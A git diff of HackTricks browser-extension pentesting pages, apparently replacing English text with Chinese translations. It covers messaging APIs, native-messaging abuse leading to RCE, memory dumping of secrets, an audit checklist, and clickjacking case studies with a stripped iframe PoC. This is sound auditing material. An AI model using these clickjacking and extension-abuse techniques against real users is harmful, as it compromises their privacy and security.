**危害内容脚本**。 -You can also find an example of a **DOM based XSS to compromise a browser extension** in: +您还可以在以下位置找到 **基于 DOM 的 XSS 以危害浏览器扩展** 的示例： {{#ref}} browext-xss-example.md {{#endref}} -## Content Script **↔︎** Background Script Communication +## 内容脚本 **↔︎** 背景脚本通信 -A Content Script can use the functions [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **or** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) to send a **one-time JSON-serializable** message. +内容脚本可以使用 [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **或** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 发送 **一次性 JSON 可序列化** 消息。 -To handle the **response**, use the returned **Promise**. Although, for backward compatibility, you can still pass a **callback** as the last argument. - -Sending a request from a **content script** looks like this: +要处理 **响应**，请使用返回的 **Promise**。尽管为了向后兼容，您仍然可以将 **回调** 作为最后一个参数传递。 +从 **内容脚本** 发送请求的方式如下： ```javascript ;(async () => { - const response = await chrome.runtime.sendMessage({ greeting: "hello" }) - // do something with response here, not outside the function - console.log(response) +const response = await chrome.runtime.sendMessage({ greeting: "hello" }) +// do something with response here, not outside the function +console.log(response) })() ``` - -Sending a request from the **extension** (usually a **background script**). Example of how to send message to the content script in the selected tab: - +从**扩展**（通常是**后台脚本**）发送请求。向选定标签页中的内容脚本发送消息的示例： ```javascript // From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script ;(async () => { - const [tab] = await chrome.tabs.query({ - active: true, - lastFocusedWindow: true, - }) - const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" }) - // do something with response here, not outside the function - console.log(response) +const [tab] = await chrome.tabs.query({ +active: true, +lastFocusedWindow: true, +}) +const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" }) +// do something with response here, not outside the function +console.log(response) })() ``` - -On the **receiving end**, you need to set up an [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **event listener** to handle the message. This looks the same from a content script or extension page. - +在**接收端**，您需要设置一个[**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **事件监听器**来处理消息。这在内容脚本或扩展页面中看起来是一样的。 ```javascript // From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) { - console.log( - sender.tab - ? "from a content script:" + sender.tab.url - : "from the extension" - ) - if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) +console.log( +sender.tab +? "from a content script:" + sender.tab.url +: "from the extension" +) +if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) }) ``` +在突出显示的示例中，**`sendResponse()`** 是以同步方式执行的。要修改 `onMessage` 事件处理程序以实现 `sendResponse()` 的异步执行，必须加入 `return true;`。 -In the example highlighted, **`sendResponse()`** was executed in a synchronous fashion. To modify the `onMessage` event handler for asynchronous execution of `sendResponse()`, it's imperative to incorporate `return true;`. +一个重要的考虑是，在多个页面设置为接收 `onMessage` 事件的情况下，**第一个执行 `sendResponse()` 的页面** 将是唯一能够有效传递响应的页面。对同一事件的任何后续响应将不被考虑。 -An important consideration is that in scenarios where multiple pages are set to receive `onMessage` events, **the first page to execute `sendResponse()`** for a specific event will be the only one able to deliver the response effectively. Any subsequent responses to the same event will not be taken into account. - -When crafting new extensions, the preference should be towards promises as opposed to callbacks. Concerning the use of callbacks, the `sendResponse()` function is considered valid only if it's executed directly within the synchronous context, or if the event handler indicates an asynchronous operation by returning `true`. Should none of the handlers return `true` or if the `sendResponse()` function is removed from memory (garbage-collected), the callback associated with the `sendMessage()` function will be triggered by default. +在创建新扩展时，应该优先使用 promises 而不是回调。关于回调的使用，只有在同步上下文中直接执行 `sendResponse()` 函数，或者事件处理程序通过返回 `true` 表示异步操作时，`sendResponse()` 函数才被视为有效。如果没有任何处理程序返回 `true`，或者 `sendResponse()` 函数从内存中移除（被垃圾回收），则与 `sendMessage()` 函数关联的回调将默认被触发。 ## Native Messaging -Browser extensions also allow to communicate with **binaries in the system via stdin**. The application must install a json indicating so in a json like: - +浏览器扩展还允许通过 **stdin 与系统中的二进制文件进行通信**。应用程序必须安装一个 json 来指示这一点，格式如下： ```json { - "name": "com.my_company.my_application", - "description": "My Application", - "path": "C:\\Program Files\\My Application\\chrome_native_messaging_host.exe", - "type": "stdio", - "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"] +"name": "com.my_company.my_application", +"description": "My Application", +"path": "C:\\Program Files\\My Application\\chrome_native_messaging_host.exe", +"type": "stdio", +"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"] } ``` +`name` 是传递给 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 或 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) 的字符串，用于从浏览器扩展的后台脚本与应用程序进行通信。`path` 是二进制文件的路径，只有 1 种有效的 `type`，即 stdio（使用 stdin 和 stdout），`allowed_origins` 表示可以访问它的扩展（不能使用通配符）。 -Where the `name` is the string passed to [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) or [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) to communicate with the application from the background scripts of the browser extension. The `path` is the path to the binary, there is only 1 valid `type` which is stdio (use stdin and stdout) and the `allowed_origins` indicate the extensions that can access it (and can't have wildcard). - -Chrome/Chromium will search for this json in some windows registry and some paths in macOS and Linux (more info in the [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)). +Chrome/Chromium 会在某些 Windows 注册表和 macOS 和 Linux 的某些路径中搜索此 json（更多信息请参见 [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)）。 > [!TIP] -> The browser extension also needs the `nativeMessaing` permission declared in order to be able to use this communication. - -This is how it looks like some background script code sending messages to a native application: +> 浏览器扩展还需要声明 `nativeMessaing` 权限，以便能够使用此通信。 +这就是一些后台脚本代码向本地应用程序发送消息的样子： ```javascript chrome.runtime.sendNativeMessage( - "com.my_company.my_application", - { text: "Hello" }, - function (response) { - console.log("Received " + response) - } +"com.my_company.my_application", +{ text: "Hello" }, +function (response) { +console.log("Received " + response) +} ) ``` +在[**这篇博客文章**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)中，提出了一种利用本机消息的脆弱模式： -In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), a vulnerable pattern abusing native messages is proposed: +1. 浏览器扩展对内容脚本有一个通配符模式。 +2. 内容脚本使用`sendMessage`将`postMessage`消息传递给后台脚本。 +3. 后台脚本使用`sendNativeMessage`将消息传递给本机应用程序。 +4. 本机应用程序危险地处理消息，导致代码执行。 -1. Browser extension has a wildcard pattern for content script. -2. Content script passes `postMessage` messages to the background script using `sendMessage`. -3. Background script passes the message to native application using `sendNativeMessage`. -4. Native application handles the message dangerously, leading to code execution. +其中解释了**如何从任何页面利用浏览器扩展进行RCE**的示例。 -And inside of it an example of **going from any page to RCE abusing a browser extension is explained**. +## 内存/代码/剪贴板中的敏感信息 -## Sensitive Information in Memory/Code/Clipboard +如果浏览器扩展将**敏感信息存储在其内存中**，则可能会被**转储**（特别是在Windows机器上）并**搜索**这些信息。 -If a Browser Extension stores **sensitive information inside it's memory**, this could be **dumped** (specially in Windows machines) and **searched** for this information. +因此，浏览器扩展的内存**不应被视为安全**，而且**敏感信息**如凭据或助记短语**不应存储**。 -Therefore, the memory of the Browser Extension **shouldn't be considered secure** and **sensitive information** such as credentials or mnemonic phrases **shouldn't be stored**. +当然，**不要在代码中放置敏感信息**，因为它将是**公开的**。 -Of course, do **not put sensitive information in the code**, as it will be **public**. +要从浏览器转储内存，可以**转储进程内存**，或者进入浏览器扩展的**设置**，点击**`Inspect pop-up`** -> 在**`Memory`**部分 -> **`Take a snapshot`**，然后使用**`CTRL+F`**在快照中搜索敏感信息。 -To dump memory from the browser you could **dump the process memory** or to go to the **settings** of the browser extension click on **`Inspect pop-up`** -> In the **`Memory`** section -> **`Take a snaphost`** and **`CTRL+F`** to search inside the snapshot for sensitive info. +此外，像助记密钥或密码这样的高度敏感信息**不应允许复制到剪贴板**（或者至少在几秒钟内将其从剪贴板中移除），因为这样监控剪贴板的进程将能够获取它们。 -Moreover, highly sensitive information like mnemonic keys or passwords **shouldn't be allowed to be copied in the clipboard** (or at least remove it from the clipboard in a few seconds) because then processes monitoring the clipboard will be able to get them. +## 在浏览器中加载扩展 -## Loading an Extension in the Browser +1. **下载**浏览器扩展并解压 +2. 转到**`chrome://extensions/`**并**启用**`开发者模式` +3. 点击**`加载已解压的扩展`**按钮 -1. **Download** the Browser Extension & unzipped -2. Go to **`chrome://extensions/`** and **enable** the `Developer Mode` -3. Click the **`Load unpacked`** button +在**Firefox**中，转到**`about:debugging#/runtime/this-firefox`**并点击**`加载临时附加组件`**按钮。 -In **Firefox** you go to **`about:debugging#/runtime/this-firefox`** and click **`Load Temporary Add-on`** button. +## 从商店获取源代码 -## Getting the source code from the store +Chrome扩展的源代码可以通过多种方法获得。以下是每个选项的详细说明和指令。 -The source code of a Chrome extension can be obtained through various methods. Below are detailed explanations and instructions for each option. +### 通过命令行下载扩展为ZIP -### Download Extension as ZIP via Command Line - -The source code of a Chrome extension can be downloaded as a ZIP file using the command line. This involves using `curl` to fetch the ZIP file from a specific URL and then extracting the contents of the ZIP file to a directory. Here are the steps: - -1. Replace `"extension_id"` with the actual ID of the extension. -2. Execute the following commands: +Chrome扩展的源代码可以通过命令行下载为ZIP文件。这涉及使用`curl`从特定URL获取ZIP文件，然后将ZIP文件的内容提取到一个目录中。以下是步骤： +1. 将`"extension_id"`替换为扩展的实际ID。 +2. 执行以下命令： ```bash extension_id=your_extension_id # Replace with the actual extension ID curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc" unzip -d "$extension_id-source" "$extension_id.zip" ``` - -### Use the CRX Viewer website +### 使用 CRX Viewer 网站 [https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/) -### Use the CRX Viewer extension +### 使用 CRX Viewer 扩展 -Another convenient method is using the Chrome Extension Source Viewer, which is an open-source project. It can be installed from the [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). The source code of the viewer is available in its [GitHub repository](https://github.com/Rob--W/crxviewer). +另一种方便的方法是使用 Chrome 扩展源查看器，这是一个开源项目。可以从 [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) 安装。查看器的源代码可在其 [GitHub repository](https://github.com/Rob--W/crxviewer) 中找到。 -### View source of locally installed extension +### 查看本地安装扩展的源代码 -Chrome extensions installed locally can also be inspected. Here's how: +本地安装的 Chrome 扩展也可以被检查。方法如下： -1. Access your Chrome local profile directory by visiting `chrome://version/` and locating the "Profile Path" field. -2. Navigate to the `Extensions/` subfolder within the profile directory. -3. This folder contains all installed extensions, typically with their source code in a readable format. +1. 通过访问 `chrome://version/` 并找到“Profile Path”字段来访问您的 Chrome 本地配置文件目录。 +2. 在配置文件目录中导航到 `Extensions/` 子文件夹。 +3. 此文件夹包含所有已安装的扩展，通常其源代码以可读格式存放。 -To identify extensions, you can map their IDs to names: +要识别扩展，您可以将其 ID 映射到名称： -- Enable Developer Mode on the `about:extensions` page to see the IDs of each extension. -- Within each extension's folder, the `manifest.json` file contains a readable `name` field, helping you to identify the extension. +- 在 `about:extensions` 页面上启用开发者模式，以查看每个扩展的 ID。 +- 在每个扩展的文件夹中，`manifest.json` 文件包含一个可读的 `name` 字段，帮助您识别扩展。 -### Use a File Archiver or Unpacker +### 使用文件归档程序或解压缩工具 -Go to the Chrome Web Store and download the extension. The file will have a `.crx` extension. Change the file extension from `.crx` to `.zip`. Use any file archiver (like WinRAR, 7-Zip, etc.) to extract the contents of the ZIP file. +前往 Chrome Web Store 下载扩展。文件将具有 `.crx` 扩展名。将文件扩展名从 `.crx` 更改为 `.zip`。使用任何文件归档程序（如 WinRAR、7-Zip 等）提取 ZIP 文件的内容。 -### Use Developer Mode in Chrome +### 在 Chrome 中使用开发者模式 -Open Chrome and go to `chrome://extensions/`. Enable "Developer mode" at the top right. Click on "Load unpacked extension...". Navigate to the directory of your extension. This doesn't download the source code, but it's useful for viewing and modifying the code of an already downloaded or developed extension. +打开 Chrome 并转到 `chrome://extensions/`。在右上角启用“开发者模式”。点击“加载已解压的扩展...”。导航到您的扩展目录。这不会下载源代码，但对于查看和修改已下载或开发的扩展的代码非常有用。 -## Chrome extension manifest dataset - -In order to try to spot vulnerable browser extensions you could use the[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) and check their manifest files for potentially vulnerable signs. For example to check for extensions with more than 25000 users, `content_scripts` and the permission `nativeMessaing`: +## Chrome 扩展清单数据集 +为了尝试发现易受攻击的浏览器扩展，您可以使用 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) 并检查其清单文件以寻找潜在的易受攻击迹象。例如，检查用户超过 25000 的扩展，`content_scripts` 和权限 `nativeMessaing`： ```bash # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')" ``` +## 安全审计检查清单 -## Security Audit Checklist +尽管浏览器扩展具有**有限的攻击面**，但其中一些可能包含**漏洞**或**潜在的加固改进**。以下是最常见的： -Even though Browser Extensions have a **limited attack surface**, some of them might contain **vulnerabilities** or **potential hardening improvements**. The following ones are the most common ones: +- [ ] 尽可能**限制**请求的**`permissions`** +- [ ] 尽可能**限制****`host_permissions`** +- [ ] 使用**强**的**`content_security_policy`** +- [ ] 尽可能**限制****`externally_connectable`**，如果不需要且可能，请不要默认留空，指定**`{}`** +- [ ] 如果这里提到的**URL易受XSS或接管攻击**，攻击者将能够**直接向后台脚本发送消息**。这是一个非常强大的绕过方式。 +- [ ] 尽可能**限制****`web_accessible_resources`**，如果可能，甚至留空。 +- [ ] 如果**`web_accessible_resources`**不为空，请检查[**ClickJacking**](browext-clickjacking.md) +- [ ] 如果**扩展**与**网页**之间发生任何**通信**，[**检查XSS**](browext-xss-example.md) **漏洞**。 +- [ ] 如果使用了Post Messages，请检查[**Post Message漏洞**](../postmessage-vulnerabilities/)**.** +- [ ] 如果**内容脚本访问DOM细节**，请检查它们是否在被网页**修改**时**引入XSS**。 +- [ ] 如果此通信也涉及**内容脚本 -> 后台脚本通信**，请特别强调。 +- [ ] 如果后台脚本通过**本机消息传递**进行通信，请检查通信是否安全且经过清理。 +- [ ] **敏感信息不应存储**在浏览器扩展**代码**中。 +- [ ] **敏感信息不应存储**在浏览器扩展**内存**中。 +- [ ] **敏感信息不应存储**在**文件系统中未受保护**。 -- [ ] **Limit** as much as possible requested **`permissions`** -- [ ] **Limit** as much as possible **`host_permissions`** -- [ ] Use a **strong** **`content_security_policy`** -- [ ] **Limit** as much as possible the **`externally_connectable`**, if none is needed and possible, do not leave it by default, specify **`{}`** - - [ ] If **URL vulnerable to XSS or to takeover** is mentioned here, an attacker will be able to **send messages to the background scripts directly**. Very powerful bypass. -- [ ] **Limit** as much as possible the **`web_accessible_resources`**, even empty if possible. -- [ ] If **`web_accessible_resources`** is not none, check for [**ClickJacking**](browext-clickjacking.md) -- [ ] If any **communication** occurs from the **extension** to the **web page**, [**check for XSS**](browext-xss-example.md) **vulnerabilities** caused in the communication. - - [ ] If Post Messages are used, check for [**Post Message vulnerabilities**](../postmessage-vulnerabilities/)**.** - - [ ] If the **Content Script access DOM details**, check that they **aren't introducing a XSS** if they get **modified** by the web - - [ ] Make a special emphasis if this communication is also involved in the **Content Script -> Background script communication** - - [ ] If the background script is communicating via **native messaging** check the communication is secure and sanitized -- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **code** -- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **memory** -- [ ] **Sensitive information shouldn't be stored** inside the **file system unprotected** +## 浏览器扩展风险 -## Browser Extension Risks +- 应用程序[https://crxaminer.tech/](https://crxaminer.tech/)分析一些数据，例如浏览器扩展请求的权限，以提供使用浏览器扩展的风险级别。 -- The app [https://crxaminer.tech/](https://crxaminer.tech/) analyzes some data like the permissions browser extension requests to give a risk level of using the browser extension. - -## Tools +## 工具 ### [**Tarnish**](https://thehackerblog.com/tarnish/) -- Pulls any Chrome extension from a provided Chrome webstore link. -- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: simply displays a JSON-prettified version of the extension’s manifest. -- **Fingerprint Analysis**: Detection of [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) and automatic generation of Chrome extension fingerprinting JavaScript. -- **Potential Clickjacking Analysis**: Detection of extension HTML pages with the [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) directive set. These are potentially vulnerable to clickjacking depending on the purpose of the pages. -- **Permission Warning(s) viewer**: which shows a list of all the Chrome permission prompt warnings which will be displayed upon a user attempting to install the extension. -- **Dangerous Function(s)**: shows the location of dangerous functions which could potentially be exploited by an attacker (e.g. functions such as innerHTML, chrome.tabs.executeScript). -- **Entry Point(s)**: shows where the extension takes in user/external input. This is useful for understanding an extension’s surface area and looking for potential points to send maliciously-crafted data to the extension. -- Both the Dangerous Function(s) and Entry Point(s) scanners have the following for their generated alerts: - - Relevant code snippet and line that caused the alert. - - Description of the issue. - - A “View File” button to view the full source file containing the code. - - The path of the alerted file. - - The full Chrome extension URI of the alerted file. - - The type of file it is, such as a Background Page script, Content Script, Browser Action, etc. - - If the vulnerable line is in a JavaScript file, the paths of all of the pages where it is included as well as these page’s type, and [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status. -- **Content Security Policy (CSP) analyzer and bypass checker**: This will point out weaknesses in your extension’s CSP and will also illuminate any potential ways to bypass your CSP due to whitelisted CDNs, etc. -- **Known Vulnerable Libraries**: This uses [Retire.js](https://retirejs.github.io/retire.js/) to check for any usage of known-vulnerable JavaScript libraries. -- Download extension and formatted versions. - - Download the original extension. - - Download a beautified version of the extension (auto prettified HTML and JavaScript). -- Automatic caching of scan results, running an extension scan will take a good amount of time the first time you run it. However the second time, assuming the extension hasn’t been updated, will be almost instant due to the results being cached. -- Linkable Report URLs, easily link someone else to an extension report generated by tarnish. +- 从提供的Chrome网上应用店链接提取任何Chrome扩展。 +- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **查看器**：简单地显示扩展清单的JSON美化版本。 +- **指纹分析**：检测[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)并自动生成Chrome扩展指纹JavaScript。 +- **潜在Clickjacking分析**：检测设置了[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)指令的扩展HTML页面。这些页面可能易受Clickjacking攻击，具体取决于页面的目的。 +- **权限警告查看器**：显示用户尝试安装扩展时将显示的所有Chrome权限提示警告的列表。 +- **危险函数**：显示可能被攻击者利用的危险函数的位置（例如，innerHTML、chrome.tabs.executeScript等函数）。 +- **入口点**：显示扩展接收用户/外部输入的位置。这对于理解扩展的表面区域和寻找潜在的恶意数据发送点非常有用。 +- 危险函数和入口点扫描器生成的警报具有以下内容： + - 相关代码片段和导致警报的行。 + - 问题描述。 + - “查看文件”按钮以查看包含代码的完整源文件。 + - 警报文件的路径。 + - 警报文件的完整Chrome扩展URI。 + - 文件类型，例如后台页面脚本、内容脚本、浏览器操作等。 + - 如果易受攻击的行在JavaScript文件中，所有包含该行的页面的路径以及这些页面的类型和[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources)状态。 +- **内容安全策略（CSP）分析器和绕过检查器**：这将指出扩展CSP中的弱点，并揭示由于白名单CDN等原因绕过CSP的潜在方法。 +- **已知漏洞库**：使用[Retire.js](https://retirejs.github.io/retire.js/)检查是否使用了已知漏洞的JavaScript库。 +- 下载扩展和格式化版本。 +- 下载原始扩展。 +- 下载美化版本的扩展（自动美化的HTML和JavaScript）。 +- 扫描结果的自动缓存，第一次运行扩展扫描将花费相当长的时间。然而，第二次运行时，假设扩展没有更新，将几乎是瞬时的，因为结果被缓存。 +- 可链接的报告URL，轻松将其他人链接到tarnish生成的扩展报告。 ### [Neto](https://github.com/elevenpaths/neto) -Project Neto is a Python 3 package conceived to analyse and unravel hidden features of browser plugins and extensions for well-known browsers such as Firefox and Chrome. It automates the process of unzipping the packaged files to extract these features from relevant resources in a extension like `manifest.json`, localization folders or Javascript and HTML source files. +Neto项目是一个Python 3包，旨在分析和揭示知名浏览器（如Firefox和Chrome）浏览器插件和扩展的隐藏功能。它自动解压打包文件，以从扩展的相关资源中提取这些功能，如`manifest.json`、本地化文件夹或JavaScript和HTML源文件。 -## References +## 参考文献 -- **Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology** +- **感谢** [**@naivenom**](https://twitter.com/naivenom) **对本方法的帮助** - [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) - [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/) - [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/) @@ -755,4 +705,3 @@ Project Neto is a Python 3 package conceived to analyse and unravel hidden featu - [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index 849cdb7a1..30374d149 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -2,101 +2,96 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -This page is going to abuse a ClickJacking vulnerability in a Browser extension.\ -If you don't know what ClickJacking is check: +本页面将利用浏览器扩展中的ClickJacking漏洞。\ +如果你不知道ClickJacking是什么，请查看： {{#ref}} ../clickjacking.md {{#endref}} -Extensions contains the file **`manifest.json`** and that JSON file has a field `web_accessible_resources`. Here's what [the Chrome docs](https://developer.chrome.com/extensions/manifest/web_accessible_resources) say about it: +扩展包含文件**`manifest.json`**，该JSON文件有一个字段`web_accessible_resources`。以下是[Chrome文档](https://developer.chrome.com/extensions/manifest/web_accessible_resources)中对此的说明： -> These resources would then be available in a webpage via the URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, which can be generated with the **`extension.getURL method`**. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) +> 这些资源将通过URL **`chrome-extension://[PACKAGE ID]/[PATH]`** 在网页中可用，该URL可以通过**`extension.getURL method`**生成。允许的资源会带有适当的CORS头，因此可以通过XHR等机制访问。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) -The **`web_accessible_resources`** in a browser extension are not just accessible via the web; they also operate with the extension's inherent privileges. This means they have the capability to: +浏览器扩展中的**`web_accessible_resources`**不仅可以通过网络访问；它们还具有扩展的固有权限。这意味着它们能够： -- Change the extension's state -- Load additional resources -- Interact with the browser to a certain extent +- 更改扩展的状态 +- 加载额外的资源 +- 在一定程度上与浏览器交互 -However, this feature presents a security risk. If a resource within **`web_accessible_resources`** has any significant functionality, an attacker could potentially embed this resource into an external web page. Unsuspecting users visiting this page might inadvertently activate this embedded resource. Such activation could lead to unintended consequences, depending on the permissions and capabilities of the extension's resources. +然而，这一特性带来了安全风险。如果**`web_accessible_resources`**中的某个资源具有任何重要功能，攻击者可能会将该资源嵌入到外部网页中。毫无防备的用户访问此页面时，可能会无意中激活此嵌入的资源。这种激活可能导致意想不到的后果，具体取决于扩展资源的权限和能力。 -## PrivacyBadger Example - -In the extension PrivacyBadger, a vulnerability was identified related to the `skin/` directory being declared as `web_accessible_resources` in the following manner (Check the original [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)): +## PrivacyBadger 示例 +在扩展PrivacyBadger中，发现了一个与`skin/`目录被声明为`web_accessible_resources`相关的漏洞，具体如下（查看原始[博客文章](https://blog.lizzie.io/clickjacking-privacy-badger.html)）： ```json "web_accessible_resources": [ - "skin/*", - "icons/*" +"skin/*", +"icons/*" ] ``` +此配置导致了潜在的安全问题。具体来说，`skin/popup.html` 文件在与浏览器中的 PrivacyBadger 图标交互时被渲染，可以嵌入在 `iframe` 中。这种嵌入可能被利用来欺骗用户无意中点击“为此网站禁用 PrivacyBadger”。这样的行为将通过禁用 PrivacyBadger 保护来危害用户的隐私，并可能使用户面临更高的跟踪风险。此漏洞的视觉演示可以在提供的 ClickJacking 视频示例中查看，链接为 [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)。 -This configuration led to a potential security issue. Specifically, the `skin/popup.html` file, which is rendered upon interaction with the PrivacyBadger icon in the browser, could be embedded within an `iframe`. This embedding could be exploited to deceive users into inadvertently clicking on "Disable PrivacyBadger for this Website". Such an action would compromise the user's privacy by disabling the PrivacyBadger protection and potentially subjecting the user to increased tracking. A visual demonstration of this exploit can be viewed in a ClickJacking video example provided at [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). +为了解决此漏洞，实施了一个简单的解决方案：从 `web_accessible_resources` 列表中移除 `/skin/*`。此更改有效地降低了风险，确保 `skin/` 目录的内容无法通过网络可访问资源进行访问或操作。 -To address this vulnerability, a straightforward solution was implemented: the removal of `/skin/*` from the list of `web_accessible_resources`. This change effectively mitigated the risk by ensuring that the content of the `skin/` directory could not be accessed or manipulated through web-accessible resources. - -The fix was easy: **remove `/skin/*` from the `web_accessible_resources`**. +修复很简单：**从 `web_accessible_resources` 中移除 `/skin/*`**。 ### PoC - ```html
-

Click the button

- +

Click the button

+
``` +## Metamask 示例 -## Metamask Example - -A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example): +一个关于 Metamask 中 ClickJacking 的[**博客文章可以在这里找到**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。在这种情况下，Metamask 通过检查访问所使用的协议是否为 **`https:`** 或 **`http:`**（例如不是 **`chrome:`**）来修复漏洞：
-**Another ClickJacking fixed** in the Metamask extension was that users were able to **Click to whitelist** when a page was suspicious of being phishing because of `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. As that page was vulnerable to Clickjacking, an attacker could abuse it showing something normal to make the victim click to whitelist it without noticing, and then going back to the phishing page which will be whitelisted. +**另一个在 Metamask 扩展中修复的 ClickJacking** 是用户能够在页面被怀疑为钓鱼时 **点击以列入白名单**，因为 `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`。由于该页面易受 Clickjacking 攻击，攻击者可以利用它显示一些正常的内容，使受害者在未注意的情况下点击以列入白名单，然后再返回到将被列入白名单的钓鱼页面。 -## Steam Inventory Helper Example +## Steam Inventory Helper 示例 -Check the following page to check how a **XSS** in a browser extension was chained with a **ClickJacking** vulnerability: +查看以下页面以检查如何将浏览器扩展中的 **XSS** 与 **ClickJacking** 漏洞链式结合： {{#ref}} browext-xss-example.md {{#endref}} -## References +## 参考文献 - [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html) - [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index 2021e3d7d..4d895a160 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -2,113 +2,110 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 ### **`permissions`** -Permissions are defined in the extension's **`manifest.json`** file using the **`permissions`** property and allow access to almost anything a browser can access (Cookies or Physical Storage): +权限在扩展的 **`manifest.json`** 文件中使用 **`permissions`** 属性定义，允许访问浏览器可以访问的几乎所有内容（Cookies 或物理存储）： -The previous manifest declares that the extension requires the `storage` permission. This means that it can use [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) to store its data persistently. Unlike cookies or `localStorage` APIs which give users some level of control, **extension storage can normally only be cleared by uninstalling the extension**. +前面的清单声明该扩展需要 `storage` 权限。这意味着它可以使用 [存储 